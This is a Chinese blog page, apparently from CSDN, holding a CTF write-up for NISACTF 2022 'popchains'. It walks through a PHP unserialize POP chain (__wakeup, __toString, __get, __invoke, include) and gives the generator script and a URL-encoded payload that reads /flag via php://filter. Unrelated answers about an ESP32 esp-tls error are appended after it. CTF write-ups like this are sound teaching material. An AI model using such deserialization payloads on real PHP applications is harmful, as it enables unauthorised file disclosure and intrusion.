解:[NISACTF 2022]popchains--TLS_预备队任务(1)

题目:

一、代码分析

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}

GET传入参数wish,并反序列化。那么我们应该要传入一个序列化数据。

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

Road_is_Long类中,__toString()在该类被当作字符串处理的时候执行,__wakeup()方法下的preg_match()$page变量当作字符串处理。如果我们把类中的 $page 赋值为此类本身,则当其触发__wakeup() 方法后,触发__toString()。而unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup()方法,所以当我们利用该类构造的序列化数据传入时,此类下的__wakeup() 方法就会调用。

然而触发__toString()下的$this->string->page该如何利用?

看Make_a_Change类下,有一个__get()方法,当访该类中私有或者不存在的成员属性值时调用。而Make_a_Change类中没有$page变量,则将Road_is_Long类中的$string赋值为Make_a_Change类,可以触发__get()方法。此__get()将$effort当作函数执行,并返回。

再来看Try_Work_Hard类,其__invoke()方法,在把该类当作函数执行时调用。__invoke()下的append()就是使用include()包含一个目标。因此将Make_a_Change类中的$effort赋值为Try_Work_Hard类,再将Try_Work_Hard类中的$var赋值为php://filter/convert.base64-encode/resource=/flag

二、构造pop链

<?php
class Road_is_Long{
    public $page;
    public $string;
}

class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";
}

class Make_a_Change{
    public $effort;
}

$a = new Make_a_Change();
$o = new Road_is_Long();
$a->effort=new Try_Work_Hard();
$o->string = $a;
$p = new Road_is_Long();
$p->page=$o;

echo urlencode(serialize($p));
?>

payload:

?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

把结果base64解码,即是flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: esp-tls: create_ssl_handle failed是ESP32芯片在进行TLS连接时出现的一种错误,可能由于几种原因导致:网络配置错误、证书验证失败或者TLS版本不匹配等。 网络配置错误可能会导致芯片无法访问远端服务器,因此需要确保设备和服务器的网络配置正确,并且ESP32能够连接到服务器。如果无法连接,请检查网络配置并确认服务器是否正常运行。 证书验证失败可能会导致芯片拒绝连接到服务器,并出现create_ssl_handle失败的错误。有时候我们需要对服务器的证书进行验证,但是芯片没能通过验证。去掉证书验证或者找到正确的证书进行验证可能决问题。 TLS版本不匹配可能会导致芯片无法成功建立TLS连接。在进行TLS连接时需要确保芯片和服务器的TLS版本相同。如果服务器只使用TLS1.2,而芯片只支持TLS1.0,那么连接就会失败。调整芯片或服务器的TLS版本,或者使用相同的版本可能决问题。 因此,我们需要仔细查看代码和日志,找出具体问题所在,并采取相应的措施。 ### 回答2: esp-tls: create_ssl_handle failed是一个错误信息,用于描述在ESP-TLS库中创建SSL句柄失败的情况。 ESP-TLS是一个为ESP32芯片设计的安全传输层协议库,用于实现SSL/TLS协议。该库提供了安全的网络通信功能,用于保护数据的机密性和完整性。 在使用ESP-TLS库时,create_ssl_handle是一个用于创建SSL句柄的函数。SSL句柄是用于管理和处理SSL/TLS连接的数据结构。 当出现"esp-tls: create_ssl_handle failed"错误时,意味着在创建SSL句柄时发生了错误。可能的原因包括: 1. 内存不足:创建SSL句柄需要分配内存空间,如果系统内存不足,则会导致创建失败。 2. 参数错误:在调用create_ssl_handle函数时,传递的参数可能存在问题,导致创建失败。这可能包括无效的证书、密钥或配置问题。 3. 与底层硬件或驱动的兼容性问题:ESP32芯片的硬件或驱动可能存在与ESP-TLS库不兼容的问题,导致创建SSL句柄失败。 如果遇到"esp-tls: create_ssl_handle failed"错误,可以尝试以下决方法: 1. 检查系统内存:确保系统有足够的内存可用。可以尝试关闭其他应用程序或释放不必要的内存占用,以决内存不足的问题。 2. 检查参数配置:仔细检查传递给create_ssl_handle函数的参数配置,确保证书、密钥和其他参数的正确性。 3. 更新ESP-TLS库版本:尝试更新使用的ESP-TLS库版本,以获得最新的修复程序和改进。 4. 联系技术支持:如果上述方法无法决问题,可以联系ESP-TLS库的技术支持,获取更详细的帮助和指导。 总之,“esp-tls: create_ssl_handle failed”错误是ESP-TLS库中创建SSL句柄失败的错误消息,可能的原因包括内存不足、参数错误或与底层硬件或驱动的兼容性问题。可以通过检查系统内存、参数配置、更新库版本或联系技术支持来决该问题。 ### 回答3: esp-tls: create_ssl_handle failed 是一个错误信息,意思是 esp-tls 库无法创建 SSL 句柄。此错误通常出现在使用 ESP32 开发板进行 TLS 加密通信时。 出现此错误的可能原因有以下几种: 1. 内存不足:ESP32 开发板的内存资源有限,如果系统内存不足以支持创建 SSL 句柄,就会出现此错误。可以通过减少系统内存的占用或者增加内存来决这个问题。 2. 无法连接到服务器:在建立 TLS 连接之前,确保 ESP32 开发板与目标服务器之间的网络连接是可用的。检查网络配置和硬件连接,以确保没有网络故障。 3. 证书问题:TLS 通信需要服务器提供有效的 SSL 证书。如果服务器证书无效、过期或者与 ESP32 开发板不匹配,都会导致 SSL 句柄创建失败。检查服务器证书是否正确,并确保与 ESP32 配置相匹配。 4. 代码逻辑错误:检查代码是否存在语法错误、逻辑错误或者问题函数调用。确保正确地调用了 esp-tls 库的相关函数,并按照正确的顺序初始化和使用 SSL 句柄。 决此问题的方法包括: 1. 检查内存使用情况并优化代码,如使用更少的内存或者开启内存优化选项。 2. 确认网络连接正常,可以尝试重新连接网络或者更换网络环境。 3. 检查服务器证书是否正确并与 ESP32 的配置相匹配,可以尝试使用其他可靠的证书。 4. 仔细检查代码逻辑,确保使用 esp-tls 库的函数正确调用和使用。 如果尝试了以上方法仍然无法决问题,可以查阅 esp-tls 的官方文档、参考示例代码或者向开发社区提问寻求进一步的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值